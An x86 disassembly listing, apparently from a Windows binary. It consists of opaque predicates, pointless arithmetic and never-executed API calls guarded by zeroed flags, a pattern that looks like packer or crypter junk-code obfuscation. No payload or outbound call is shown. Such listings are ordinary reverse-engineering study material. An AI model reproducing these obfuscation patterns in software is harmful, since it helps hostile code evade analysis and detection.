cmp dword [ebp - 0x2188], eax
jge 0x45f6e9
push 9
pop eax
test eax, eax
jne 0x45f6e9
and dword [ebp - 0x1874], 0
jmp 0x45f6f3
mov dword [ebp - 0x1874], 1
mov eax, dword [ebp - 0xb80]
cmp dword [ebp - 0x1874], eax
jle 0x45f70d
mov dword [ebp - 0x1d94], 1
jmp 0x45f714
and dword [ebp - 0x1d94], 0
mov eax, dword [ebp - 0x1d94]
mov dword [ebp - 0xb80], eax
jmp 0x45f58b
call fcn.00451d77
mov dword [ebp - 0x274], 0x2c03342e
mov dword [ebp - 0x4b0], 1
mov dword [ebp - 0x2b4c], 0x6182eac4
mov dword [ebp - 0x2b48], 0x6182eac4
mov dword [ebp - 0x2b44], 0x6182eac4
mov dword [ebp - 0x2b40], 0x6182eac4
mov dword [ebp - 0x87c], 0
jmp 0x45f77f
mov eax, dword [ebp - 0x87c]
inc eax
mov dword [ebp - 0x87c], eax
cmp dword [ebp - 0x87c], 3
jge 0x45f79b
mov eax, dword [ebp - 0x87c]
mov dword [ebp + eax*4 - 0x3378], 0xba5f27a4
jmp 0x45f772
mov dword [ebp - 0x274], 0
jmp 0x45f7b4
mov eax, dword [ebp - 0x274]
dec eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0xffffffff
jle 0x45f7cb
mov eax, dword [ebp - 0x274]
mov dword [ebp - 0x4b0], eax
jmp 0x45f7a7
mov dword [ebp - 0x4b0], 3
jmp 0x45f7e4
mov eax, dword [ebp - 0x4b0]
dec eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
jl 0x45f963
mov dword [ebp - 0x2900], 9
mov dword [ebp - 0xa58], 0
jmp 0x45f814
mov eax, dword [ebp - 0xa58]
inc eax
mov dword [ebp - 0xa58], eax
cmp dword [ebp - 0xa58], 3
jge 0x45f830
mov eax, dword [ebp - 0xa58]
mov dword [ebp + eax*4 - 0x2990], 1
jmp 0x45f807
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2b4c]
cmp dword [ebp + eax - 0x2990], ecx
jge 0x45f857
mov dword [ebp - 0x187c], 1
jmp 0x45f85e
and dword [ebp - 0x187c], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2990], 1
jne 0x45f879
mov dword [ebp - 0xc38], 1
jmp 0x45f880
and dword [ebp - 0xc38], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xc38]
mov dword [ebp + eax - 0x3378], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2990]
add eax, dword [ebp - 0xc38]
imul eax, dword [ebp - 0x274]
cmp dword [ebp - 0x187c], eax
jge 0x45f8c1
mov dword [ebp - 0x200c], 1
jmp 0x45f8c8
and dword [ebp - 0x200c], 0
mov eax, dword [ebp - 0x2900]
cmp dword [ebp - 0x200c], eax
jne 0x45f8e2
mov dword [ebp - 0x1884], 1
jmp 0x45f8e9
and dword [ebp - 0x1884], 0
mov eax, dword [ebp - 0x274]
cmp eax, dword [ebp - 0x1884]
je 0x45f903
mov dword [ebp - 0x1d9c], 1
jmp 0x45f90a
and dword [ebp - 0x1d9c], 0
mov eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0x1d9c], eax
jge 0x45f924
mov dword [ebp - 0x188c], 1
jmp 0x45f92b
and dword [ebp - 0x188c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2990]
cmp eax, dword [ebp - 0x188c]
jne 0x45f94b
mov dword [ebp - 0x2118], 1
jmp 0x45f952
and dword [ebp - 0x2118], 0
mov eax, dword [ebp - 0x2118]
mov dword [ebp - 0x274], eax
jmp 0x45f7d7
mov dword [ebp - 0x3d8], 7
mov dword [ebp - 0x188], 0
mov dword [ebp - 0x1db4], 0xf18c
mov dword [ebp - 0xa60], 0x18b9628e
mov dword [ebp - 0x884], 0
jmp 0x45f9a4
mov eax, dword [ebp - 0x884]
inc eax
mov dword [ebp - 0x884], eax
cmp dword [ebp - 0x884], 1
jge 0x45f9c0
mov eax, dword [ebp - 0x884]
mov dword [ebp + eax*4 - 0xec], 0xd022
jmp 0x45f997
cmp dword [ebp - 0x188], 0
je 0x45fb27
cmp dword [ebp - 0x3d8], 0
jne 0x45f9e6
push 0xfffffffffffffff6
pop eax
test eax, eax
jne 0x45f9e6
and dword [ebp - 0x1894], 0
jmp 0x45f9f0
mov dword [ebp - 0x1894], 1
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x1894], eax
jl 0x45fa0a
mov dword [ebp - 0x25a8], 1
jmp 0x45fa11
and dword [ebp - 0x25a8], 0
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x2ca0], eax
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x188], eax
jg 0x45fa37
mov dword [ebp - 0x1da4], 1
jmp 0x45fa3e
and dword [ebp - 0x1da4], 0
cmp dword [ebp - 0x1da4], 0xffff
ja 0x45fa56
mov dword [ebp - 0x189c], 1
jmp 0x45fa5d
and dword [ebp - 0x189c], 0
mov eax, dword [ebp - 0x188]
add eax, dword [ebp - 0x189c]
cmp eax, dword [ebp - 0x1db4]
jne 0x45fa7d
mov dword [ebp - 0x2014], 1
jmp 0x45fa84
and dword [ebp - 0x2014], 0
mov eax, dword [ebp - 0x188]
cmp dword [ebp - 0x2014], eax
je 0x45fa9e
mov dword [ebp - 0x18a4], 1
jmp 0x45faa5
and dword [ebp - 0x18a4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x18a4], eax
jg 0x45fac6
mov dword [ebp - 0x1dac], 1
jmp 0x45facd
and dword [ebp - 0x1dac], 0
cmp dword [ebp - 0x1dac], 7
jb 0x45fae2
mov dword [ebp - 0x18ac], 1
jmp 0x45fae9
and dword [ebp - 0x18ac], 0
mov eax, dword [ebp - 0x3d8]
cmp eax, dword [ebp - 0x18ac]
je 0x45fb03
mov dword [ebp - 0x21ec], 1
jmp 0x45fb0a
and dword [ebp - 0x21ec], 0
mov eax, dword [ebp - 0x188]
imul eax, dword [ebp - 0x21ec]
test eax, eax
je 0x45fb27
mov dword [ebp - 0x18b4], 1
jmp 0x45fb2e
and dword [ebp - 0x18b4], 0
mov eax, dword [ebp - 0x3d8]
add eax, dword [ebp - 0x18b4]
add eax, dword [ebp - 0x1db4]
cmp eax, dword [ebp - 0x3d8]
je 0x45fb54
mov dword [ebp - 0x18bc], 1
jmp 0x45fb5b
and dword [ebp - 0x18bc], 0
cmp dword [ebp - 0x18bc], 0xb831
je 0x45fb73
mov dword [ebp - 0x201c], 1
jmp 0x45fb7a
and dword [ebp - 0x201c], 0
mov eax, dword [ebp - 0x3d8]
cmp dword [ebp - 0x201c], eax
jl 0x45fb94
mov dword [ebp - 0x18c4], 1
jmp 0x45fb9b
and dword [ebp - 0x18c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x18c4], eax
jl 0x45fbf3
mov byte [ebp - 0x312], 0
movzx eax, byte [ebp - 0x312]
test eax, eax
je 0x45fbdb
push 0xd16
push 0x1637
push 0
push 0x462
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov dword [ebp - 0xa60], eax
jmp 0x45ff24
mov dword [ebp - 0xa4], 0x36ea
mov dword [ebp - 0x28c0], 0xffffffff
mov dword [ebp - 0x2bcc], 0x74b172ab
mov dword [ebp - 0x2bc8], 0x74b172ab
mov dword [ebp - 0x2bc4], 0x74b172ab
mov dword [ebp - 0x2bc0], 0x74b172ab
mov dword [ebp - 0x25b8], 0x914d865e
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x3094], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xec], 0
jne 0x45fcd4
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], eax
jle 0x45fc6f
mov dword [ebp - 0x1dbc], 1
jmp 0x45fc76
and dword [ebp - 0x1dbc], 0
cmp dword [ebp - 0x1dbc], 0x47d02c9a
jne 0x45fc8e
mov dword [ebp - 0x18cc], 1
jmp 0x45fc95
and dword [ebp - 0x18cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x18cc], eax
jl 0x45fcb6
mov dword [ebp - 0x2120], 1
jmp 0x45fcbd
and dword [ebp - 0x2120], 0
mov eax, dword [ebp - 0xa60]
cmp dword [ebp - 0x2120], eax
jne 0x45fcd4
and dword [ebp - 0x18d4], 0
jmp 0x45fcde
mov dword [ebp - 0x18d4], 1
cmp dword [ebp - 0x18d4], 0x7399d012
jle 0x45fcf6
mov dword [ebp - 0x1dc4], 1
jmp 0x45fcfd
and dword [ebp - 0x1dc4], 0
mov eax, dword [ebp - 0x1dc4]
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xa60], eax
je 0x45fd23
mov dword [ebp - 0x27d0], 1
jmp 0x45fd2a
and dword [ebp - 0x27d0], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2ca8], eax
mov eax, dword [ebp - 0x3d8]
mov dword [ebp - 0x303c], eax
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2cb0], eax
cmp dword [ebp - 0xa4], 2
ja 0x45fd63
mov dword [ebp - 0x18dc], 1
jmp 0x45fd6a
and dword [ebp - 0x18dc], 0
cmp dword [ebp - 0x18dc], 0xfffffffc
jle 0x45fd7f
mov dword [ebp - 0x2024], 1
jmp 0x45fd86
and dword [ebp - 0x2024], 0
mov eax, dword [ebp - 0x2024]
sub eax, dword [ebp - 0xa4]
js 0x45fda0
mov dword [ebp - 0x18e4], 1
jmp 0x45fda7
and dword [ebp - 0x18e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x18e4], eax
jg 0x45fdc8
mov dword [ebp - 0x1dcc], 1
jmp 0x45fdcf
and dword [ebp - 0x1dcc], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x1dcc], eax
jge 0x45fde9
mov dword [ebp - 0x18ec], 1
jmp 0x45fdf0
and dword [ebp - 0x18ec], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x18ec]
jge 0x45fe0a
mov dword [ebp - 0x25b0], 1
jmp 0x45fe11
and dword [ebp - 0x25b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
mov dword [ebp - 0x309c], eax
cmp dword [ebp - 0x188], 0
jne 0x45fe4b
xor eax, eax
inc eax
jne 0x45fe4b
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xec], 0
jne 0x45fe4b
and dword [ebp - 0x2190], 0
jmp 0x45fe55
mov dword [ebp - 0x2190], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x2190], eax
jl 0x45fe76
mov dword [ebp - 0x18f4], 1
jmp 0x45fe7d
and dword [ebp - 0x18f4], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x18f4], eax
jle 0x45fea0
cmp dword [ebp - 0x188], 0
je 0x45fea0
mov dword [ebp - 0x1dd4], 1
jmp 0x45fea7
and dword [ebp - 0x1dd4], 0
mov eax, dword [ebp - 0x28c0]
cmp dword [ebp - 0x1dd4], eax
jge 0x45fec1
mov dword [ebp - 0x18fc], 1
jmp 0x45fec8
and dword [ebp - 0x18fc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xec]
cmp dword [ebp - 0x18fc], eax
jle 0x45fee9
mov dword [ebp - 0x202c], 1
jmp 0x45fef0
and dword [ebp - 0x202c], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x2bcc]
cmp dword [ebp - 0x202c], eax
jl 0x45ff11
mov dword [ebp - 0x1904], 1
jmp 0x45ff18
and dword [ebp - 0x1904], 0
mov eax, dword [ebp - 0x1904]
mov dword [ebp - 0x25b8], eax
mov dword [ebp - 0x3244], 7
mov dword [ebp - 0x3240], 7
mov dword [ebp - 0x323c], 7
mov dword [ebp - 0x3238], 7
mov dword [ebp - 0x88c], 0x90c4d8e5
mov dword [ebp - 0x88c], 0
jmp 0x45ff6f
mov eax, dword [ebp - 0x88c]
inc eax
mov dword [ebp - 0x88c], eax
cmp dword [ebp - 0x88c], 3
jg 0x45ff9b
mov byte [ebp - 0x423], 0
movzx eax, byte [ebp - 0x423]
test eax, eax
je 0x45ff99
push 0xa83
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
jmp 0x45ff62
mov dword [ebp - 0x27c], 0
mov dword [ebp - 0x27d8], 0x7e4a906
mov dword [ebp - 0xa68], 0
jmp 0x45ffc8
mov eax, dword [ebp - 0xa68]
inc eax
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 2
jge 0x45ffe4
mov eax, dword [ebp - 0xa68]
mov dword [ebp + eax*4 - 0x2708], 0x3185
jmp 0x45ffbb
mov dword [ebp - 0x27c], 0
jmp 0x45fffd
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 1
jg 0x4600e6
mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp + eax*4 - 0x2708]
mov dword [ebp - 0x2cb8], eax
mov eax, dword [ebp - 0x27c]
cmp dword [ebp + eax*4 - 0x2708], 0
jne 0x46003f
mov eax, 0x582f
test eax, eax
jne 0x46003f
and dword [ebp - 0x1ddc], 0
jmp 0x460049
mov dword [ebp - 0x1ddc], 1
imul eax, dword [ebp - 0x1ddc], 0xb58e
mov ecx, 0xa7fe
sub ecx, eax
je 0x460071
cmp dword [ebp - 0x27c], 0
je 0x460071
mov dword [ebp - 0x190c], 1
jmp 0x460078
and dword [ebp - 0x190c], 0
mov eax, dword [ebp - 0x27c]
mov eax, dword [ebp + eax*4 - 0x2708]
imul eax, dword [ebp - 0x190c]
cmp eax, 0xffffffff
jle 0x46009d
mov dword [ebp - 0x2128], 1
jmp 0x4600a4
and dword [ebp - 0x2128], 0
mov eax, dword [ebp - 0x2128]
dec eax
dec eax
mov dword [ebp - 0x27d8], eax
mov byte [ebp - 0x314], 0
movzx eax, byte [ebp - 0x314]
test eax, eax
je 0x4600e1
push 0x18b1
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
jmp 0x45fff0
mov byte [ebp - 0x43d], 0
movzx eax, byte [ebp - 0x43d]
test eax, eax
je 0x460100
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov dword [ebp - 0x3e0], 1
mov dword [ebp - 0xf4], 7
mov dword [ebp - 0x894], 0
jmp 0x46012d
mov eax, dword [ebp - 0x894]
inc eax
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 2
jge 0x460149
mov eax, dword [ebp - 0x894]
mov dword [ebp + eax*4 - 0x22dc], 0xea75c96
jmp 0x460120
mov dword [ebp - 0x3e0], 0
jmp 0x460162
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 1
jg 0x46038a
mov dword [ebp - 0x24], 0
jmp 0x46017f
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x460195
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x30a4], 0xffffffff
jmp 0x460178
mov dword [ebp - 0x24], 0
jmp 0x4601a5
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x4601bb
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3300], 0xd4856cd8
jmp 0x46019e
mov dword [ebp - 0x24], 0
jmp 0x4601cb
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x4601e1
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x3318], 0x9c214f16
jmp 0x4601c4
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3300], 1
jle 0x4601fc
mov dword [ebp - 0x1914], 1
jmp 0x460203
and dword [ebp - 0x1914], 0
mov eax, dword [ebp - 0x3e0]
cmp dword [ebp - 0x1914], eax
je 0x46021d
mov dword [ebp - 0x1de4], 1
jmp 0x460224
and dword [ebp - 0x1de4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22dc]
cmp dword [ebp - 0x1de4], eax
jle 0x460245
mov dword [ebp - 0x191c], 1
jmp 0x46024c
and dword [ebp - 0x191c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x191c]
sub ecx, dword [ebp + eax - 0x22dc]
cmp ecx, 0xa8db
jl 0x460274
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x3300], 0
mov eax, dword [ebp - 0xf4]
imul eax, dword [ebp - 0xf4]
neg eax
jne 0x460297
cmp dword [ebp - 0x3e0], 0
jne 0x460297
and dword [ebp - 0x2034], 0
jmp 0x4602a1
mov dword [ebp - 0x2034], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x22dc]
cmp dword [ebp - 0x2034], eax
jle 0x4602c2
mov dword [ebp - 0x1924], 1
jmp 0x4602c9
and dword [ebp - 0x1924], 0
mov eax, dword [ebp - 0x3e0]
mov eax, dword [ebp + eax*4 - 0x22dc]
cmp eax, dword [ebp - 0x1924]
jle 0x4602ea
mov dword [ebp - 0x1dec], 1
jmp 0x4602f1
and dword [ebp - 0x1dec], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1dec]
mov dword [ebp + eax - 0x3318], ecx
mov dword [ebp - 0xf4], 0
jmp 0x46031d
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jg 0x460342
mov byte [ebp - 0x316], 0
movzx eax, byte [ebp - 0x316]
test eax, eax
je 0x460340
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
jmp 0x460310
mov dword [ebp - 0xf4], 0
jmp 0x46035b
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 1
jg 0x460385
mov byte [ebp - 0x425], 0
movzx eax, byte [ebp - 0x425]
test eax, eax
je 0x460383
push 0x1ff8
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
jmp 0x46034e
jmp 0x460155
mov dword [ebp - 0x190], 0
jmp 0x4603a3
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 2
jge 0x4603bf
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x22ec], 0xffffffff
jmp 0x460396
mov dword [ebp - 0x18], 0xeb0647dc
mov dword [ebp - 0x28c], 0
mov dword [ebp - 0x284], 0x23d37f4a
mov dword [ebp - 0xc10], 0x3b7d
mov dword [ebp - 0x196c], 0xd98c6833
mov dword [ebp - 0x28c8], 0x236c
cmp dword [ebp - 0x18], 0
je 0x4605e8
mov dword [ebp - 0xb88], 0
mov dword [ebp - 0x1944], 0x9040c3f3
mov dword [ebp - 0x25d0], 0xc93846f2
mov dword [ebp - 0xa70], 0
jmp 0x460439
mov eax, dword [ebp - 0xa70]
inc eax
mov dword [ebp - 0xa70], eax
cmp dword [ebp - 0xa70], 3
jge 0x460455
mov eax, dword [ebp - 0xa70]
mov dword [ebp + eax*4 - 0x3324], 0xfffffff7
jmp 0x46042c
mov dword [ebp - 0x18], 0
jmp 0x460465
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffeb
jne 0x4604ae
mov dword [ebp - 0x25c0], 0xded6
mov dword [ebp - 0x294c], 0x9edbda7f
mov eax, dword [ebp - 0xb88]
cmp dword [ebp - 0x25c0], eax
jge 0x460499
mov dword [ebp - 0x192c], 1
jmp 0x4604a0
and dword [ebp - 0x192c], 0
mov eax, dword [ebp - 0x192c]
mov dword [ebp - 0x294c], eax
jmp 0x46045e
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x3324], 0x2fa8
neg eax
cmp eax, dword [ebp - 0x18]
jg 0x4604d2
mov dword [ebp - 0x21d4], 1
jmp 0x4604d9
and dword [ebp - 0x21d4], 0
cmp dword [ebp - 0x21d4], 0
jle 0x4604ee
mov dword [ebp - 0x1934], 1
jmp 0x4604f5
and dword [ebp - 0x1934], 0
mov eax, dword [ebp - 0x1934]
mov dword [ebp - 0x1944], eax
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x18], eax
jne 0x460515
mov dword [ebp - 0x1df4], 1
jmp 0x46051c
and dword [ebp - 0x1df4], 0
cmp dword [ebp - 0x1df4], 0x1dbc
jl 0x460534
mov dword [ebp - 0x193c], 1
jmp 0x46053b
and dword [ebp - 0x193c], 0
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x193c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28c]
cmp dword [ebp - 0x18], eax
jle 0x46055e
mov dword [ebp - 0x203c], 1
jmp 0x460565
and dword [ebp - 0x203c], 0
mov eax, dword [ebp - 0xb88]
imul eax, dword [ebp - 0x203c]
cmp eax, dword [ebp - 0x28c]
jg 0x460586
mov dword [ebp - 0x25c8], 1
jmp 0x46058d
and dword [ebp - 0x25c8], 0
mov eax, dword [ebp - 0xb88]
mov dword [ebp - 0x2cc0], eax
mov eax, dword [ebp - 0x1944]
mov dword [ebp - 0x28c], eax
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x28c], eax
je 0x4605c6
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x4605c6
mov dword [ebp - 0x27e0], 1
jmp 0x4605cd
and dword [ebp - 0x27e0], 0
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
mov eax, dword [ebp - 0x284]
mov dword [ebp - 0x25d0], eax
jmp 0x460650
mov dword [ebp - 0x3258], 0xffff
mov dword [ebp - 0x3254], 0xffff
mov dword [ebp - 0x3250], 0xffff
mov dword [ebp - 0x324c], 0xffff
mov dword [ebp - 0x284], 3
jmp 0x460629
mov eax, dword [ebp - 0x284]
dec eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 0
jl 0x460650
mov byte [ebp - 0x318], 0
movzx eax, byte [ebp - 0x318]
test eax, eax
je 0x46064e
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x46061c
mov dword [ebp - 0x28c], 0xffffffff
cmp dword [ebp - 0x28c], 0
je 0x460725
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0xc10], eax
jne 0x46067e
mov dword [ebp - 0x1954], 1
jmp 0x460685
and dword [ebp - 0x1954], 0
mov eax, dword [ebp - 0xc10]
mov dword [ebp - 0x2da4], eax
cmp dword [ebp - 0x28c], 0xfff6
jne 0x4606a9
mov dword [ebp - 0x1dfc], 1
jmp 0x4606b0
and dword [ebp - 0x1dfc], 0
mov eax, dword [ebp - 0xc10]
cmp dword [ebp - 0x1dfc], eax
je 0x4606ca
mov dword [ebp - 0x194c], 1
jmp 0x4606d1
and dword [ebp - 0x194c], 0
cmp dword [ebp - 0x194c], 7
ja 0x4606e6
mov dword [ebp - 0x2130], 1
jmp 0x4606ed
and dword [ebp - 0x2130], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x2130], eax
jne 0x460704
mov dword [ebp - 0x1e04], 1
jmp 0x46070b
and dword [ebp - 0x1e04], 0
mov eax, dword [ebp - 0x1954]
cmp eax, dword [ebp - 0x1e04]
je 0x460725
mov dword [ebp - 0x195c], 1
jmp 0x46072c
and dword [ebp - 0x195c], 0
cmp dword [ebp - 0x195c], 0
ja 0x460741
mov dword [ebp - 0x2044], 1
jmp 0x460748
and dword [ebp - 0x2044], 0
imul eax, dword [ebp - 0x2044], 0x1082
cmp eax, dword [ebp - 0x28c]
jl 0x460766
mov dword [ebp - 0x1964], 1
jmp 0x46076d
and dword [ebp - 0x1964], 0
mov eax, dword [ebp - 0x1964]
sub eax, dword [ebp - 0x18]
cmp eax, 0xfffffff8
jl 0x460787
mov dword [ebp - 0x1e0c], 1
jmp 0x46078e
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x1e0c]
mov dword [ebp - 0x196c], eax
mov eax, dword [ebp - 0x196c]
mov dword [ebp - 0x2cc8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2da8], eax
mov dword [ebp - 0x28c8], 0xc0ed6d23
mov dword [ebp - 0x190], 0
jmp 0x4607d2
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 1
jge 0x4607ee
mov eax, dword [ebp - 0x190]
mov dword [ebp + eax*4 - 0x2cd0], 0x3245f1db
jmp 0x4607c5
mov dword [ebp - 0x89c], 0x69fdf99f
mov dword [ebp - 0x2db0], 0
mov dword [ebp - 0x198], 0
jmp 0x46081b
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 2
jge 0x460837
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x3424], 5
jmp 0x46080e
mov dword [ebp - 0x198], 0
jmp 0x460850
mov eax, dword [ebp - 0x198]
inc eax
mov dword [ebp - 0x198], eax
cmp dword [ebp - 0x198], 3
jge 0x46086c
mov eax, dword [ebp - 0x198]
mov dword [ebp + eax*4 - 0x3008], 0x96ce
jmp 0x460843
mov dword [ebp - 0x89c], 0xffffffe4
jmp 0x460885
mov eax, dword [ebp - 0x89c]
inc eax
mov dword [ebp - 0x89c], eax
cmp dword [ebp - 0x89c], 0x16
jge 0x46093d
mov dword [ebp - 0x2cd8], 0
mov dword [ebp - 0x2db8], 0xeb7161ab
mov dword [ebp - 0x2ce0], 3
mov dword [ebp - 0x2dc0], 0x34f09465
mov dword [ebp - 0x2ce8], 0x5aa96141
mov dword [ebp - 0x2dc8], 6
mov dword [ebp - 0xa78], 0
jmp 0x4608e7
mov eax, dword [ebp - 0xa78]
inc eax
mov dword [ebp - 0xa78], eax
cmp dword [ebp - 0xa78], 4
jge 0x460903
mov eax, dword [ebp - 0xa78]
mov dword [ebp + eax*4 - 0x362c], 0xc619a80b
jmp 0x4608da
mov byte [ebp - 0x47d], 0
movzx eax, byte [ebp - 0x47d]
test eax, eax
je 0x46091d
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x3008]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x3008], eax
jmp 0x460878
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x22ec], 0xfffffff1
jmp 0x46096b
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x22ec]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x22ec], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x22ec], 0x10
jge 0x461895
mov dword [ebp - 0xa80], 0xfffffffb
mov dword [ebp - 0x8a4], 0
jmp 0x4609a2
mov eax, dword [ebp - 0x8a4]
inc eax
mov dword [ebp - 0x8a4], eax
cmp dword [ebp - 0x8a4], 3
jge 0x4609be
mov eax, dword [ebp - 0x8a4]
mov dword [ebp + eax*4 - 0x3500], 0xff0ea75c
jmp 0x460995
mov byte [ebp - 0x475], 0
movzx eax, byte [ebp - 0x475]
test eax, eax
je 0x4609d6
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [ebp - 0xa80], 2
jmp 0x4609ef
mov eax, dword [ebp - 0xa80]
dec eax
mov dword [ebp - 0xa80], eax
cmp dword [ebp - 0xa80], 0
jl 0x460a35
mov byte [ebp - 0x2e5], 0
movzx eax, byte [ebp - 0x2e5]
test eax, eax
je 0x460a14
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
mov byte [ebp - 0x32a], 0
movzx eax, byte [ebp - 0x32a]
test eax, eax
je 0x460a33
push 0x457
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
jmp 0x4609e2
mov dword [ebp - 0x594], 0xd37ad43
mov dword [ebp - 0xac], 0xaabecba2
mov dword [ebp - 0x25d8], 0x31c36b58
mov dword [ebp - 0x8ac], 0
jmp 0x460a6c
mov eax, dword [ebp - 0x8ac]
inc eax
mov dword [ebp - 0x8ac], eax
cmp dword [ebp - 0x8ac], 2
jge 0x460a88
mov eax, dword [ebp - 0x8ac]
mov dword [ebp + eax*4 - 0x22fc], 0x13dd33a4
jmp 0x460a5f
mov dword [ebp - 0xac], 1
jmp 0x460aa1
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x460d56
mov dword [ebp - 0xa88], 0
jmp 0x460ac7
mov eax, dword [ebp - 0xa88]
inc eax
mov dword [ebp - 0xa88], eax
cmp dword [ebp - 0xa88], 3
jge 0x460ae3
mov eax, dword [ebp - 0xa88]
mov dword [ebp + eax*4 - 0x2280], 0
jmp 0x460aba
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2280], 1
jmp 0x460b11
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2280]
